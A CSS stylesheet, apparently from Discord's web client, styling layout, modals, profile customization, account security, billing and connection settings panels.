.content-1b25Wt { -webkit-box-flex: 1; flex: 1 1 0%; background-color: var(--background-primary); height: 100%; }

.contentScroll-3SDmjo { -webkit-box-pack: center; justify-content: center; height: 100%; }

.contentContainer-23x-Xa, .contentScroll-3SDmjo { display: flex; }

.contentContainer-23x-Xa { width: 464px; }

.sidebar-1Lipg4 { -webkit-box-flex: 0; flex: 0 1 30%; min-width: 360px; max-width: 420px; background-color: var(--background-secondary); height: 100%; }

.sidebarScroll-1fj_gW { height: 100%; box-sizing: border-box; padding: 24px; display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; }

@media (max-width: 1200px) {
  .sidebar-1Lipg4 { display: none; }
}

.scroller-3Vjo4T { padding: 16px; height: 100%; background-color: var(--background-primary); }

@media (min-width: 1129px) {
  .scroller-3Vjo4T { padding: 32px; }
}

.headerImage-1vDSE3 { display: inherit; border-radius: 8px; width: 100%; height: auto; margin-bottom: 32px; }

.headerContainer-356ZSf { position: relative; }

.headerContent-WpYuS6 { position: absolute; display: flex; inset: 0px; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.headerText-lI2ujL { font-weight: 700; margin-bottom: 8px; color: rgb(255, 255, 255); }

.headerDescription-2XFueT { color: rgb(255, 255, 255); }

.divider-3W3RCQ { margin-top: 32px; margin-bottom: 32px; height: 1px; background-color: var(--background-modifier-accent); }

.footerDescription-3tQBQ3 { white-space: pre-wrap; }

.viewWrapper-1oLf_r { width: 100%; height: 100%; max-width: 1608px; margin: 0px auto; }

.categoryItem-ONe8JV { color: var(--header-secondary); margin-left: 8px; }

.categoryItem-ONe8JV.selectedCategoryItem-28UllF { color: rgb(255, 255, 255); }

.categoryItem-ONe8JV.selectedCategoryItem-28UllF .itemInner-1XfZdz { background-color: var(--brand-experiment); }

.hubIcon-2LFZ4H { width: 24px; height: 24px; background-image: url("https://discord.com/assets/8b7165c3ca8f930bf6a1cf4ad12de85a.svg"); }

.new-1hpSoq { border-radius: 8px; padding-left: 8px; padding-right: 8px; background-color: var(--background-accent); }

.newText-1pnxda { color: rgb(255, 255, 255); text-transform: uppercase; }

.discoverHeader-3th5O9 { margin: 16px 0px 16px 16px; font-weight: 700; }

.mainLoginContainer-2P_RYE { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-flex: 1; flex-grow: 1; -webkit-box-align: start; align-items: start; }

.title-Ezy8vf { text-align: center; width: 100%; }

.subtitle-3bPFzG { padding: 0px 20px; margin-bottom: 24px; }

.loginForm-2guOwx { margin-top: 16px; }

.helpMessage-3CYlcl { font-weight: 400; text-align: left; }

.helpMessage-3CYlcl a { color: inherit; text-decoration: underline; }

.paddingResetLeft-DmcWnR { padding-left: 0px; }

.helpMessageText-1KZaGG { margin-right: 8px; }

.theme-dark.helpMessageText-1KZaGG { color: rgb(220, 221, 222); }

.navRow-3bgpKd { display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-pack: justify; justify-content: space-between; background-color: rgb(32, 34, 37); border-radius: 0px 0px 5px 5px; -webkit-box-align: center; align-items: center; }

.theme-light.navRow-3bgpKd { background-color: var(--background-tertiary); }

.theme-dark.navRow-3bgpKd { background-color: rgb(32, 34, 37); }

.backButton-G6QVL0, .continueButton-3WQr6t { width: auto; margin: 16px; }

.theme-light.backButton-G6QVL0 { color: var(--interactive-normal); }

.theme-dark.backButton-G6QVL0 { color: rgb(185, 187, 190); }

.modal-BYnLDV { -webkit-box-orient: horizontal; flex-direction: row; min-height: 300px; }

.card-u_OSEk, .modal-BYnLDV { display: flex; -webkit-box-direction: normal; width: 480px; }

.card-u_OSEk { flex-shrink: 0; background-color: rgb(47, 49, 54); -webkit-box-orient: vertical; flex-direction: column; border-radius: 5px 5px 0px 0px; padding: 24px 16px; }

.modal-dwKM6X { position: relative; }

.header-1eVqwN { padding: 8px 0px; width: 100%; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-align: center; align-items: center; }

.modalCloseButton-1hV7ik { position: absolute; top: 12px; right: 8px; z-index: 10; }

.headerText-3dp-0s { font-weight: 600; line-height: 30px; }

.subheaderText-2wcVZR { margin-top: 8px; }

.actions-2J0E0d { width: 100%; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-align: center; align-items: center; margin: 16px 0px; }

.infoMessage-1La7Uh { margin-bottom: 16px; }

.userMenuItem-2-jfWw, .userMenuUsername-3TmXJu { display: flex; -webkit-box-align: center; align-items: center; }

.userMenuUsername-3TmXJu { margin: 0px 8px; }

.userMenuText-3ThkZY { max-width: 172px; text-overflow: ellipsis; overflow: hidden; white-space: nowrap; display: block; color: var(--header-primary); }

.userMenuDiscriminator-2T_ExG { color: var(--header-secondary); }

.focused-13LbGr .userMenuUsername-3TmXJu .userMenuText-3ThkZY { color: rgb(255, 255, 255); }

.focused-13LbGr .userMenuUsername-3TmXJu .userMenuDiscriminator-2T_ExG { color: rgb(185, 187, 190); }

.userMenuItemAvatar-3rEItk { margin-right: 8px; }

.activeIcon-2Xlk3z { margin-left: auto; }

.formGroup-2hEDrJ { margin-bottom: 20px; }

.formDivider-MjIVc7 { margin-bottom: 16px; }

.modalRoot-1Kx4Hb { overflow: visible; }

.inputContainer-1SpwlU { position: relative; }

.modalCloseButton-3ztS-g { position: absolute; top: 12px; right: 12px; }

.headerText-2uyvpY { font-size: 20px; line-height: 24px; font-weight: 600; color: var(--interactive-active); }

.emojiButton-2NpAb3.fullOpacity-mggU2C { opacity: 1; }

.emojiButtonContainer-3d6DFV { display: flex; -webkit-box-align: center; align-items: center; position: absolute; left: 0px; top: 0px; margin: 0px 10px; height: 100%; }

.emoji-MCvpgl { width: 22px; height: 22px; }

.input-1GLP_D { padding-left: 42px; padding-right: 36px; }

.clearButton-13g8ju { position: absolute; top: 0px; right: 10px; display: flex; -webkit-box-align: center; align-items: center; height: 100%; transition: opacity 0.2s ease-in-out 0s; line-height: 0; opacity: 0.6; }

.clearButton-13g8ju:focus, .clearButton-13g8ju:hover { opacity: 1; }

.clearIcon-xXwSFS { width: 16px; height: 16px; color: var(--interactive-normal); }

.headerContainer-3N-yWX { overflow: visible; position: relative; }

.header-3C6qT5 { padding-top: 52px; width: 100%; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-align: center; align-items: center; }

.art-347BZj { background-size: contain; background-repeat: no-repeat; position: absolute; top: 0px; left: 50%; transform: translateY(-50%) translateX(-50%); width: 200px; height: 120px; background-image: url("https://discord.com/assets/a939f6aa6ca4c7b5d950ce293297ea7a.svg"); }

.cancelButton-2O3h8t { color: var(--interactive-active); }

.cancelButton-2O3h8t:hover { text-decoration: underline; }

.statusOptionItem-Yx4fei { display: flex; -webkit-box-align: center; align-items: center; }

.statusIcon-17SurO { margin-right: 8px; }

.statusItem-33LqPf { box-sizing: border-box; display: grid; grid-template-areas: "icon status" ". description"; grid-template-rows: 24px 1fr; grid-template-columns: 24px 1fr; -webkit-box-align: center; align-items: center; width: 100%; padding: 4px 8px; min-height: 24px; }

.statusItemNoPadding-2yFleV { padding: 0px; }

.status-1fhblQ { display: flex; -webkit-box-align: center; align-items: center; }

.icon-1IxfJ2 { grid-area: icon / icon / icon / icon; }

.description-2L932D { grid-area: description / description / description / description; color: currentcolor; margin-bottom: 2px; font-size: 12px; line-height: 16px; white-space: normal; }

.customStatusItem-1TTIxM { grid-template-areas: "status clear"; grid-template-columns: 1fr 20px; }

.customStatusItem-1TTIxM, .customStatusWithEmoji-8-XZ8I { grid-template-rows: 24px; }

.customStatusWithEmoji-8-XZ8I { grid-template-areas: "icon status clear"; grid-template-columns: 24px 1fr 20px; }

.customEmoji-2_2FwB { grid-area: icon / icon / icon / icon; margin-left: -2px; width: 18px; height: 18px; }

.customEmojiPlaceholder-37iZ_j { background-image: url("https://discord.com/assets/22e66f36d4665b822d7cf5b440d885ec.svg"); background-size: contain; background-repeat: no-repeat; }

.customText-tY5LJn { grid-area: status / status / status / status; min-width: 0px; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }

.clearStatusButton-1Mxs1q { grid-area: clear / clear / clear / clear; line-height: 0; }

.clearStatusButton-1Mxs1q:hover { color: var(--interactive-hover); }

.clearStatusIcon-3-MDNF { width: 16px; height: 16px; margin-left: 4px; }

.menu-1LtYED { width: 240px; }

.betaTag-2ehOEB { margin-left: 10px; }

.switchAccountsIcon-355frb { margin-left: -2px; }

.container-2R1ffg { width: 248px; background-color: hsl(235,calc(var(--saturation-factor, 1)*85.6%),64.7%); padding: 16px; border-radius: 8px; margin: 0px 0px -6px -12px; }

.container-2R1ffg .icon-1QrOSd { position: absolute; top: -36px; width: 232px; height: 72px; margin-left: 8px; }

.container-2R1ffg .title-18txk5 { margin-top: 36px; color: rgb(255, 255, 255); text-align: center; font-weight: 600; font-family: var(--font-display); font-size: 17px; line-height: 24px; }

.container-2R1ffg .subTitle-2vg0Wo { text-align: center; color: rgb(255, 255, 255); margin: 8px 0px 16px; }

.container-2R1ffg .pointer-3Odm0y { width: 0px; height: 0px; border-right: 12px solid transparent; border-bottom: 12px solid transparent; border-left: 12px solid transparent; border-image: initial; border-top: 12px solid hsl(235,calc(var(--saturation-factor, 1)*85.6%),64.7%); pointer-events: none; position: absolute; top: 100%; }

.group-2TdL0v { }

.title-21ph07 { cursor: pointer; display: flex; -webkit-box-pack: justify; justify-content: space-between; }

.experimentDate-1aRats { color: var(--channels-default); }

.emptyState-hkJPHr { margin-top: 36px; text-align: center; }

.disabled-2hBLIY { opacity: 0.4; user-select: none; pointer-events: none; }

.customizationSection-2f2fhI { margin-bottom: 24px; padding-bottom: 24px; border-bottom: 1px solid var(--background-modifier-accent); }

.customizationSection-2f2fhI:last-child { border-bottom: none; }

.sectionDescription-f3FtNc { margin-bottom: 16px; }

.errorMessage-ZtMztM { margin-top: 8px; }

.profileCustomizationSection-1-Issy { position: relative; }

.profileCustomizationSection-1-Issy p { margin-top: 0px; }

.baseLayout-NX_bpH { position: relative; display: flex; }

.preview-1nip2n { -webkit-box-flex: 0; flex: 0 0 auto; margin-left: 20px; }

.premiumInlineNotice-35FZ3J { margin-bottom: 16px; }

.modalContent-2ParpD { padding-top: 30px; text-align: center; }

.header-2BYOHT { padding: 42px 0px 4px; }

.promo--BLWHF { display: flex; padding: 16px; margin: 20px 0px 8px; background-color: var(--background-secondary); border-radius: 5px; align-content: center; text-align: left; }

.promoText-2pe0yR { font-weight: 600; margin-right: 16px; -webkit-box-flex: 1; flex: 1 1 0%; }

.avatar-2IUHRM { position: absolute; top: -60px; left: 160px; }

.cancelButton-2i5eJ4 { margin-right: 12px; }

.modalFooter-mcRLvN { -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-pack: justify; justify-content: space-between; }

.modalFooter-mcRLvN, .modalFooterActions-1prWEU { display: flex; }

.modalFooterActions-1prWEU { -webkit-box-pack: end; justify-content: flex-end; }

.fakeActivityTitle-ka26mT { font-weight: 700; }

.fakeActivityLayout-AhfPCa { margin-top: 8px; }

.fakeActivityIcon-2uT519, .fakeActivityLayout-AhfPCa { display: flex; -webkit-box-align: center; align-items: center; }

.fakeActivityIcon-2uT519 { -webkit-box-pack: center; justify-content: center; -webkit-box-flex: 0; flex: 0 0 auto; width: 64px; height: 64px; border-radius: 8px; margin-right: 16px; }

.fakeActivityIcon-2uT519.wumpus-1nZlIc { background-color: var(--brand-experiment-600); }

.fakeActivityIcon-2uT519.phibi-5NwD1e { background-color: rgb(17, 128, 106); }

.fakeActivityPencil-3yYmN6 { display: block; width: 48px; height: 48px; }

.fakeActivityContent-gUkdvL { -webkit-box-flex: 1; flex: 1 1 auto; }

.fakeActivityTimeValues-2zDaxa { font-family: Consolas, "Andale Mono WT", "Andale Mono", "Lucida Console", "Lucida Sans Typewriter", "DejaVu Sans Mono", "Bitstream Vera Sans Mono", "Liberation Mono", "Nimbus Mono L", Monaco, "Courier New", Courier, monospace; }

.profileBannerPreview-gaX5MP { position: relative; width: 300px; min-width: 300px; min-height: 280px; background-color: var(--background-floating); border-radius: 8px; overflow: hidden; box-shadow: var(--elevation-high); }

.banner-3vVQWW { border-radius: 8px 8px 0px 0px; width: 100%; }

.bannerUploader-Y9vRL1 { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-pack: justify; justify-content: space-between; }

.gifTag-3TZYlA { position: absolute; top: 8px; right: 8px; pointer-events: none; }

.bannerUploaderInnerSquare-1alXv4 { background-size: cover; height: 120px; }

.bannerNormal-3u-o59 { height: 60px; }

.bannerNitroUpsell-1aRyq0 { opacity: 0; background-color: rgba(0, 0, 0, 0.4); transition: opacity 0.2s ease 0s; cursor: pointer; height: 100%; width: 100%; display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; }

.bannerNitroUpsell-1aRyq0:hover { opacity: 1; }

.bannerNitroUpsellText-Qv5DoD { color: rgb(255, 255, 255); width: 50px; font-weight: 700; }

.popoutInfo-1A9dyK { padding: 0px 16px 16px; }

.avatarUploader-3h7Odh { position: absolute; z-index: 1; left: 16px; }

.avatarUploaderNormal-1kvMcd { top: 16px; }

.avatarUploaderPremium-1oEPZD { top: 76px; }

.avatarUploaderInner-mAGe3e { width: 80px; height: 80px; border: 6px solid var(--background-floating); background-color: var(--background-floating); box-sizing: content-box; }

.buttonsContainer-36m3gd { display: flex; }

.removeButton-Mm3jN3 { margin-left: 4px; }

.nitroWheel-qdpYIu { width: 16px; height: 16px; margin-right: 4px; margin-left: 2px; vertical-align: sub; }

.buttonsContainer-2vDnPy { display: flex; }

.removeButton-35PtN4 { margin-left: 4px; }

.profileColorSection-1Yrc_4 { border-bottom: none; margin-bottom: 0px; }

.buttonsContainer-3Ljuzc { display: flex; margin-top: 16px; }

.colorSwatch-1CKj-B { cursor: pointer; text-align: center; margin-right: 16px; position: relative; }

.swatchDescription-1A4xHV { margin-top: 4px; }

.swatch-2XEFyZ { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; width: 69px; height: 50px; border-radius: 4px; box-sizing: border-box; }

.customSwatch-19WGLJ { padding: 0px; min-height: unset; min-width: unset; position: relative; border: 1px solid; }

.defaultSwatch-yhthU8 { border: 1px solid var(--background-modifier-accent); }

.dropperIconButton-3aSprY { position: absolute; inset: 0px; }

.dropperIcon-QGeseU { position: absolute; top: 4px; right: 4px; }

.premiumInlineNotice-pHlw4O { margin-bottom: 16px; }

.nitroUpsellButtonInner-1jfVee { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; }

.nitroUpsellButtonWheel-1_gwpf { margin-right: 4px; }

.divider-3Ll72z { margin-bottom: 24px; padding-bottom: 4px; border-bottom: 1px solid var(--background-modifier-accent); }

.info-1VyQPT { padding: 8px 10px; text-transform: capitalize; user-select: text; }

.line-3ColD0 { display: inline-block; width: 100%; }

.versionHash-2gXjIB { text-transform: none; }

.iconContainer-1NtNPN { margin-right: 16px; }

.statusIcon-3uniGJ { width: 16px; height: 16px; }

.checkmark-2rIv0n { color: hsl(139,calc(var(--saturation-factor, 1)*85.6%),64.5%); }

.checkmark-2rIv0n, .xmark-1vh9lX { }

.xmark-1vh9lX { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.helpText-JfHf3K { margin-bottom: 32px; }

.hotspotSwitch-W6cuHF { display: flex; -webkit-box-align: center; align-items: center; margin: 8px 0px; }

.overrideSelect-214cqb { -webkit-box-flex: 0; flex: 0 0 30%; }

.socialLinks-3jqNFy { padding: 8px 10px; font-size: 12px; line-height: 16px; }

.link-1IoFq- { padding: 0px 2px; margin-right: 8px; }

.foreground-26ym5y { transition: fill 0.15s ease 0s; }

.theme-light .foreground-26ym5y { fill: rgb(185, 187, 190); }

.theme-light .link-1IoFq-:hover .foreground-26ym5y { fill: rgb(114, 118, 125); }

.theme-dark .foreground-26ym5y { fill: rgb(173, 173, 173); }

.theme-dark .link-1IoFq-:hover .foreground-26ym5y { fill: rgb(255, 255, 255); }

.preview-2Vkbi6 { background-color: var(--background-secondary); padding: 16px; }

.previewMessage-1ZN7YG { padding: 8px; border-radius: 4px; margin-top: 16px; background-color: var(--background-primary); }

.previewHeader-14xJxw { display: flex; }

.previewAvatars-2J1R8v { margin-left: 8px; display: grid; grid-auto-flow: column; gap: 8px; }

.ttsPreviewWrapper-RMkneD { margin-bottom: 24px; }

.ttsSliderMarker-1JPw7_ { text-transform: uppercase; }

.description-31A0cy { margin-bottom: 16px; }

.buttonContainer-1zBNxN { display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; }

.disableButton-220a9y { margin-right: 16px; }

.header-3ydO_m { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-align: center; align-items: center; padding-top: 24px; padding-bottom: 24px; }

.title-33m_XM { font-weight: 700; }

.subtitle-1DRiTc, .title-33m_XM { text-align: center; }

.subtitle-1DRiTc { margin-top: 8px; }

.modalCloseButton-3aEy9o { position: absolute; top: 16px; right: 16px; }

.content-1AKki_ { padding-bottom: 16px; }

.password-7h0m3y { margin-top: 16px; }

.cancel-3ncp2g { margin-right: 8px; }

.multiInput-2AiDV2 { display: flex; -webkit-box-align: center; align-items: center; }

.multiInputFirst-2aPTwX { -webkit-box-flex: 1; flex-grow: 1; }

.multiInputField-3K361B { border: none; background-color: transparent; }

.multiInputLast-33BbRU input { width: 100px; padding-left: 32px; font-family: Consolas, "Andale Mono WT", "Andale Mono", "Lucida Console", "Lucida Sans Typewriter", "DejaVu Sans Mono", "Bitstream Vera Sans Mono", "Liberation Mono", "Nimbus Mono L", Monaco, "Courier New", Courier, monospace; }

.multiInputLast-33BbRU::before { width: 1px; height: 30px; content: ""; position: absolute; margin-top: 5px; border-width: 1px; border-right-style: solid; opacity: 0.1; }

.questionMark-3qBhGj { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; width: 32px; height: 32px; border-radius: 2px; margin-right: 4px; padding: 0px; min-width: 0px; min-height: 0px; background-color: var(--brand-experiment); }

.questionMark-3qBhGj .icon-3zLVMD { width: 24px; height: 24px; cursor: pointer; -webkit-app-region: no-drag; color: rgb(246, 246, 247); }

.discriminatorChangeWarning-3Aw70V { margin-top: 8px; }

.accountProfileCard-1XCH88 { background-color: var(--background-tertiary); border-radius: 8px; position: relative; overflow: hidden; }

.userInfo-iCloHO { height: 72px; width: 100%; display: flex; -webkit-box-pack: justify; justify-content: space-between; padding: 16px 16px 0px 120px; }

.avatar-1uQSZT { border: 7px solid var(--background-tertiary); background-color: var(--background-tertiary); position: absolute; top: 76px; left: 16px; box-sizing: content-box; }

.profileCardUsernameRow-1koz7u { display: flex; }

.overflowMenuButton-1U2jMB { margin-left: 8px; cursor: pointer; }

.overflowMenuIcon-1h7e8s { color: var(--interactive-normal); }

.userTag-1PLzkC { margin-bottom: 6px; font-family: var(--font-display); color: var(--header-primary); font-size: 20px; line-height: 24px; font-weight: 600; }

.discriminator-2C3qJO { color: var(--header-secondary); }

.background-1QDuV2 { border-radius: 8px; background-color: var(--background-secondary); padding: 16px; margin: 8px 16px 16px; }

.profile-1eT9hT { display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; }

.avatarUploaderInner-2EvNMg { width: 80px; height: 80px; }

.details-2fkb7l { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; margin-top: auto; margin-bottom: auto; margin-left: 16px; overflow: hidden; }

.detailsInner-1VPlWl { overflow: hidden; text-overflow: ellipsis; color: var(--header-primary); }

.username-1fQw19 { font-weight: 600; }

.badgeList-HtCfKd { margin-top: 4px; }

.fieldList-21DyL8 { border-radius: 8px; background-color: var(--background-secondary); }

.field-1HUseB { display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-pack: justify; justify-content: space-between; }

.fieldSpacer-wgewFh { margin-top: 24px; }

.fieldTitle-3h2iLW { margin-bottom: 4px; }

.fieldButtonList-16Wn0S { display: flex; }

.fieldButton-27bJrp { margin-top: auto; margin-bottom: auto; }

.removeButton-3vophT { margin-right: 8px; }

.menu-319q29, .uploadButton-3kjtMm { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; margin-left: auto; flex-shrink: 0; }

.menu-319q29 { margin-right: 16px; color: var(--interactive-normal); cursor: pointer; }

.avatarError-10Cg1R { margin-top: 8px; }

.constrainedRow-2GB6Ki { display: flex; -webkit-box-flex: 1; flex: 1 1 auto; overflow: hidden; margin-right: 16px; }

.usernameRow-2Lu_-c { overflow: hidden; }

.usernameInnerRow-ZlFnET { overflow: hidden; color: var(--header-primary); text-overflow: ellipsis; }

.header-2xfEYR { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-align: center; align-items: center; padding-top: 24px; padding-bottom: 24px; }

.title-7KIelA { font-weight: 700; }

.subtitle-2RGT-H, .title-7KIelA { text-align: center; }

.subtitle-2RGT-H { margin-top: 8px; }

.modalCloseButton-1tQPZJ { position: absolute; top: 16px; right: 16px; }

.content-39mg13 { padding-bottom: 16px; }

.newPassword-2xUoju { margin-top: 16px; }

.cancel-3-Mvz6 { margin-right: 8px; }

.spacing-1KPMm9 { }

.headerSpacing-VC8KSy { margin-bottom: 0px; }

.topSpacing-1zJ_nL { }

.inputContainer-3J8c1k { }

.input-1yeenJ { width: 100%; }

.customWidth-hekRLH { width: 520px; }

.divider-2iVRnS { }

.image-zE4JEH { width: 128px; }

.secret-VW-wXa { font-family: Consolas, "Andale Mono WT", "Andale Mono", "Lucida Console", "Lucida Sans Typewriter", "DejaVu Sans Mono", "Bitstream Vera Sans Mono", "Liberation Mono", "Nimbus Mono L", Monaco, "Courier New", Courier, monospace; }

.theme-dark .subHeader-3TFIST { color: rgb(185, 187, 190); }

.theme-light .subHeader-3TFIST { color: rgb(114, 118, 125); }

.modal-IZS9Va { width: 450px; }

.modalInner-H7DVez { padding-bottom: 20px; }

.header-26_H9C img { vertical-align: bottom; }

.divider-1F2Yxh { }

.sectionBody-DUrZPU { }

.phoneNumber-1Sn5tB { font-weight: 600; padding-right: 4px; }

.linkButton-2seBb6 { padding-left: 0px; font-size: 16px; }

.theme-dark .sectionBody-DUrZPU, .theme-dark .subHeader-3FXnUc { color: rgb(185, 187, 190); }

.theme-light .sectionBody-DUrZPU, .theme-light .subHeader-3FXnUc { color: rgb(114, 118, 125); }

.lockIcon-2Hj8Tq { }

.btn-1PnLxm { padding: 10px 20px; font-size: 14px; line-height: 16px; font-weight: 500; transition: background-color 0.2s ease 0s; position: relative; text-align: center; cursor: pointer; }

.btn-1PnLxm + .btn-1PnLxm { margin-left: 8px; }

.btn-1PnLxm:disabled { cursor: not-allowed; opacity: 0.3; }

.btn-1PnLxm.btnPrimary-1jluZW { color: rgb(255, 255, 255); background-color: var(--brand-experiment); border-radius: 3px; padding: 8px 16px; }

.btn-1PnLxm.btnPrimary-1jluZW:hover:not(:disabled) { background-color: var(--brand-experiment-600); }

.userSettingsSecurityImage-21pI_Q { width: 100%; opacity: 1; transition: opacity 0.3s ease 0s; }

@media (max-width: 840px) {
  .userSettingsSecurityImage-21pI_Q { opacity: 0; }
}

.userSettingsSecurity-3IYeMF .isEnabled-24g9qA { color: var(--text-positive); }

.userSettingsSecurity-3IYeMF .lockIcon-2Hj8Tq { margin-right: 4px; width: 10px; height: 14px; position: relative; top: 2px; }

.userSettingsSecurity-3IYeMF .checkboxGroup-3_9osm .code-2d9-2m { font-family: Consolas, "Andale Mono WT", "Andale Mono", "Lucida Console", "Lucida Sans Typewriter", "DejaVu Sans Mono", "Bitstream Vera Sans Mono", "Liberation Mono", "Nimbus Mono L", Monaco, "Courier New", Courier, monospace; user-select: text; font-size: 14px; line-height: 28px; cursor: text; }

.phoneRevealer-3-Mv3e { margin-left: 4px; }

.changePasswordButton-1LGVWT { margin-bottom: 28px; }

.accountWarningBodyText-3_2oAj { margin-bottom: 16px; }

.backupCode-1iCDnI { outline: none; display: inline-block; }

.theme-light .userSettingsSecurity-3IYeMF .codeCheckbox-1T0TTy { color: rgb(79, 84, 92); }

.theme-dark .userSettingsSecurity-3IYeMF .codeCheckbox-1T0TTy { color: rgb(220, 221, 222); }

.userProfileCustomizationSection-3nHZ-9 { margin-top: 40px; position: relative; }

.nitroIcon-1oDfAa { color: var(--header-primary); margin-right: 6px; position: relative; top: -3px; }

.customizationTitle-1mlo_w { display: flex; -webkit-box-align: center; align-items: center; }

.betaTag-2ZuBkl { margin-left: 8px; -webkit-box-flex: 0; flex-grow: 0; text-transform: uppercase; font-weight: 400; }

.modalContent-Kx1eDz { padding-bottom: 20px; }

.inputWrapper-1WF_fw { -webkit-box-flex: 1; flex-grow: 1; margin-right: 10px; width: 100%; margin-bottom: 20px; }

.preview-2nSL_2 { position: relative; height: 180px; overflow: hidden; background-color: var(--background-secondary); display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-pack: center; justify-content: center; -webkit-box-align: stretch; align-items: stretch; }

.preview-2nSL_2::after { content: ""; position: absolute; inset: 0px; cursor: default; }

.firstMessage-2wgPU_ { margin-top: -0.8rem !important; }

.compactPreview-uctQ4t .firstMessage-2wgPU_ { margin-top: 0px !important; }

.authedApp-mj2Hmd { padding: 20px; }

.authedApp-mj2Hmd:focus-within .deleteApp-dtfZIe, .authedApp-mj2Hmd:hover .deleteApp-dtfZIe { opacity: 1; }

.deleteApp-dtfZIe { opacity: 0; transition: opacity 0.2s ease 0s; }

.headerInfo-30WFqE { display: flex; -webkit-box-align: center; align-items: center; }

.appAvatar-3bgkQ9 { width: 32px; height: 32px; border-radius: 50%; -webkit-user-drag: none; }

.permission-1gtoyP { display: flex; -webkit-box-align: center; align-items: center; height: 18px; }

.permissionCheckmark-1SeKr2 { background: url("https://discord.com/assets/ac4e8d510fe8708104eddbe1b9597e1c.svg") 0% 0% / 18px 18px no-repeat; display: inline-block; width: 23px; height: 18px; }

.formError-2HK0A5 { margin-bottom: 20px; }

.card-VoqMMK { padding: 20px; }

.addressSection-3LwW_f, .formActions-34l65m { margin-top: 20px; }

.defaultSection-2hDX5u { margin: 20px 0px; }

.defaultCheckboxLabel-380vsp { margin-left: 4px; }

.sectionHeader-1068cF { margin-bottom: 10px; }

.subText-1Lf-cY { font-size: 14px; margin-top: 20px; color: var(--text-muted); }

.errorSubText-E6nFXO { }

.disabledTooltipWrapper-pcjnN3 { position: relative; }

.disabledTooltipTarget-1M3ydP { position: absolute; inset: 0px; z-index: 1; cursor: not-allowed; }

.theme-light .sectionHeader-1068cF { color: rgb(114, 118, 125); }

.theme-light .errorSubText-E6nFXO { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.theme-dark .sectionHeader-1068cF { color: rgb(185, 187, 190); }

.theme-dark .errorSubText-E6nFXO { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.paymentSourceRow-3FbcL_ { margin: 16px 0px; }

.header-3HBlrs { display: flex; -webkit-box-align: center; align-items: center; }

.subText-2Zhkkh { font-size: 14px; margin-top: 4px; }

.footer-TVTShO { margin-top: 20px; }

.lockIcon-1UaIyp { margin-right: 8px; width: 20px; height: 20px; }

.theme-dark .subText-2Zhkkh, .theme-light .subText-2Zhkkh { color: rgb(114, 118, 125); }

.syncing-q4sYw9 { display: flex; -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; height: 300px; }

.paymentHistory-2FXzro { margin-top: 40px; }

.codeRedemptionRedirect-1wVR4b { font-size: 14px; line-height: 18px; margin-top: 40px; padding: 16px 22px; }

.theme-dark .codeRedemptionRedirect-1wVR4b { color: rgb(255, 255, 255); background-color: rgb(47, 49, 54); border-color: rgb(32, 34, 37); }

.theme-light .codeRedemptionRedirect-1wVR4b { color: rgb(79, 84, 92); background-color: rgb(246, 246, 247); border-color: rgb(220, 221, 222); }

.accountList-33MS45 { padding: 20px 20px 12px; background-color: var(--background-secondary-alt); border-radius: 8px; }

.accountBtn-2Nozo3 { margin-right: 8px; margin-bottom: 8px; }

.accountBtn-2Nozo3:last-child { margin-right: 0px; }

.accountBtn-2Nozo3 .accountBtnInner-sj5jLs { background-color: var(--background-secondary); border: none; }

.accountBtn-2Nozo3 .accountBtnInner-sj5jLs:hover { background-color: var(--background-modifier-hover); }

.connectionList-3pzR-1 { display: grid; gap: 24px; }

.connection-1fbD7X { background-color: var(--background-secondary); width: 100%; border-radius: 8px; }

.connectionHeader-2MDqhu { position: relative; display: grid; grid-template-columns: auto 1fr auto; padding: 20px; background: var(--background-secondary-alt); border-radius: 8px 8px 0px 0px; }

.connectionHeader-2MDqhu .connectionAccountValue-3VdBGs { color: var(--header-primary); margin-left: 20px; }

.connectionAccountLabel-1DiK0A { margin-left: 20px; font-size: 12px; line-height: 14px; color: var(--header-secondary); }

.connectionIcon-2ElzVe { width: 32px; height: 32px; }

.connectionOptionsWrapper-3KIj1Z { padding: 20px 10px 0px; }

.connectionOptionsWrapper-3KIj1Z .connectionOptionSwitch-3KNn-E h3 { color: rgb(255, 255, 255); font-weight: 500; }

.connectionOptionSwitch-3KNn-E { -webkit-box-flex: 1; flex: 1 1 auto; padding-left: 10px; padding-right: 10px; }

.connectionOptions-YE9FAM { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.integrationsWrapper-VkM_zO { padding: 20px; }

.integrationsWrapper-VkM_zO a { color: var(--text-normal); }

